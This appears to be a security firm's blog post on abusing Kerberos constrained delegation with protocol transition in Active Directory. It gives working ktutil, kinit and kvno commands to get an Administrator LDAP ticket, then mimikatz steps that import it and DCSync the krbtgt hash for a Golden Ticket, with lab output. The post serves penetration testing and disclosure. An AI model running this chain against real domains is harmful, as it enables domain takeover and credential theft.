At MWR, we often investigate Active Directory configuration weaknesses during penetration tests and targeted attack simulations to identify routes an attacker can take to escalate their privileges, or achieve a full domain compromise. One area that sparked our interest was the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D) User-Account-Control flag, which applies to user accounts, and the repercussions it can have when configured within a Windows environment.
The User-Account-Control attribute, not to be confused with the Windows UAC mechanism, sets particular attributes on Active Directory accounts, such as if the account is disabled, locked out, or if the user's password never expires. The T24AD flag, when applied to a user account, is used for a Kerberos mechanism known as 'Protocol Transition'. It was created to solve a specific problem in which users authenticate to a service that doesn't support Kerberos authentication, but the service wishes to delegate their tokens to secondary services, e.g. MSSQL or CIFS, to access resources whilst impersonating those users.
The following screenshot shows an account that has been configured for this style of delegation:
To allow this process to occur, the Kerberos protocol extension 'Service For User To Self' (S4U2Self) was implemented by Microsoft. This extension allows a service to request a token for another user, by supplying their user principal name, but without supplying a password. When the user account has the T24AD flag, these tokens can be requested with the 'forwardable' attribute which allows the service to authenticate with these tokens to other services.
Now unconstrained delegation is bad, mmkay? So Microsoft ensured that these tokens could only be used for specific services which are configured on the user account via the 'Service For User To Proxy' (S4U2Proxy) extension. This setting is controlled by the msDS-AllowedToDelegateTo attribute on the user account. It contains a list of Service Principal Names that point to which Kerberos services the user can forward these tokens to (the same way normal Kerberos Constrained Delegation is performed). For example, you wish for your web service to access a file share for users so you would specify that the service account has an ms-DS-AllowedToDelegateTo value of "cifs/fs.contoso.com". This in effect allows the web service account to authenticate to the CIFS/SMB file share as any user in the domain, so requires a lot of trust in that application.
I was busy thinking about which services could allow remote code execution via this process, when Benjamin Delpy, aka GentilKiwi, tweeted that it would be bad to point this configuration at an LDAP service.
The penny dropped, I have seen numerous web services that integrate with LDAP in some fashion, let's hope they haven't used T2A4D mechanism... This would mean that those web services could authenticate as almost any user to Active Directory, potentially changing sensitive configurations, permissions, or group membership to achieve a partial or full domain compromise. At this stage the only setting mitigating this issue is ensuring that all privileged accounts have the 'Account is sensitive and cannot be delegated' setting configured.
The wonderful Mr Delpy also found that a Kerberos ticket for ldap/domaincontroller.contoso.com would also allow that account to perform an Active Directory DC Sync attack. This allows an attacker to query extremely sensitive data from AD, e.g. the KRBTGT password hash to create a Golden Ticket.
Now I had a terrible thought, what is preventing a user, who has been granted permissions in Active Directory to control another account, from setting their User-Account-Control flags to include the 'TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION_FLAG' and setting arbitrary ms-DS-AllowedToDelegate services on the user? Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting "Enable computer and user accounts to be trusted for delegation" (SeEnableDelegationPrivilege) on the Domain Controller.
There still remains a niche, but dangerous attack vector. The msDS-AllowedToDelegateTo is not protected by any special settings. A user with permissions over another account with the T2A4D flag, e.g. 'Full Control', can set this value to any service within the domain, changing your web service, with potentially excessive access to a file share within your DMZ, to a domain compromising monstrosity. It would be nice if Microsoft could protect the msDS-AllowedToDelegateTo field with the same User Rights Assignment settings as the T2A4D flag. Alternatively it would have sensible for Microsoft to have implemented it as an 'msDS-AllowedToDelegateFrom' field which applies to target accounts rather than the source account.
Edit: @harmj0y pointed out that the above conclusions were incorrect and that the msDS-AllowedToDelegateTo field is actually protected by SeEnableDelegationPrivilege.
There are a number of issues with exploitation of this natively in Windows. The API calls used which would request a ticket are based around 'impersonating' a user, and as such the user must have the 'SeTcbPrivilege' and 'SeImpersonate' privileges, which is normally reserved for service accounts and the SYSTEM account. As such our initial exploitation techniques use the Linux MIT krb5-user tools (1.12.1 or later is recommended as an issue in 1.12 prevents exploitation of this issue).
Troubleshooting hints: Use UPPERCASE domains, and use the FQDN for the target hostname.
For this we use the ktutil tool, which opens an interactive prompt:
# ktutil ktutil: addent -password -p svc_t2a4d@CONTOSO.COM -k 1 -e rc4-hmac Password for svc_t2a4d@CONTOSO.COM: ktutil: wkt /root/test.keytab ktutil: exit
# kinit -V -k -t ~/test.keytab -f svc_t2a4d@CONTOSO.COM Using default cache: /tmp/krb5cc_0 Using principal: svc_t2a4d@CONTOSO.COM Using keytab: /root/test.keytab Authenticated to Kerberos v5
# kvno -e rc4-hmac -k ~/test.keytab -P -U Administrator ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM: kvno = 4, keytab entry valid
Now if we check klist -f we should see a ticket for the target service with the forwardable flag 'F'.
07/12/16 19:47:10 08/12/16 05:47:05 ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM for client Administrator@CONTOSO.COM, renew until 08/12/16 19:47:05, Flags: FPRAO
Unfortunately we've been unable to complete the full attack chain using Linux tooling. You should be able to use both samba-tool (see passing-the-hash blogpost) and secretsdump.py using existing Kerberos tickets, but we were unable to get this working. Hopefully when we can get these tools up and running we will update this post with full steps.
Instead we move to a Windows environment and use mimikatz to import our CCache file. First we use a little tip from Mr Delpy to ensure we don't have any user credentials that could interfere with our connections.
runas /noprofile /netonly /user:email@example.com mimikatz.exe mimikatz # kerberos::ptc krb5cc_0 Principal : (01) : svc_t2a4d ; @ CONTOSO.COM ... Data 3 Start/End/MaxRenew: 07/12/2016 22:29:57 ; 08/12/2016 08:29:55 ; 08/12/2016 22:29:55 Service Name (01) : ldap ; WIN-TOVFLFKO4DB.contoso.com ; @ CONTOSO.COM Target Name (01) : ldap ; WIN-TOVFLFKO4DB.contoso.com ; @ CONTOSO.COM Client Name (10) : Administrator ; @ CONTOSO.COM Flags 50a40000 : ok_as_delegate ; pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt eb28ab360d2f96f5f3eaad7ccde58222 Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK
We can now DCSync our KRBTGT user for a Golden Ticket:
mimikatz # lsadump::dcsync /user:krbtgt [DC] 'contoso.com' will be the domain [DC] 'WIN-TOVFLFKO4DB.contoso.com' will be the DC server [DC] 'krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 07/12/2016 13:04:14 Object Security ID : S-1-5-21-1225692627-2309707116-1207525572-502 Object Relative ID : 502 Credentials: Hash NTLM: 049ca947471d4ef006315bb8312c6ba0
Benjamin Delpy has also released an additional tool in his 'kekeo' Kerberos repository called S4U which can also be used to request a ticket, natively in Windows, to inject with Mimikatz:
This configuration isn't going to be present in all environments, but it is worthwhile checking your exposure with a quick LDAP search to identify if any accounts are affected, and take the following steps to mitigate your exposure if required: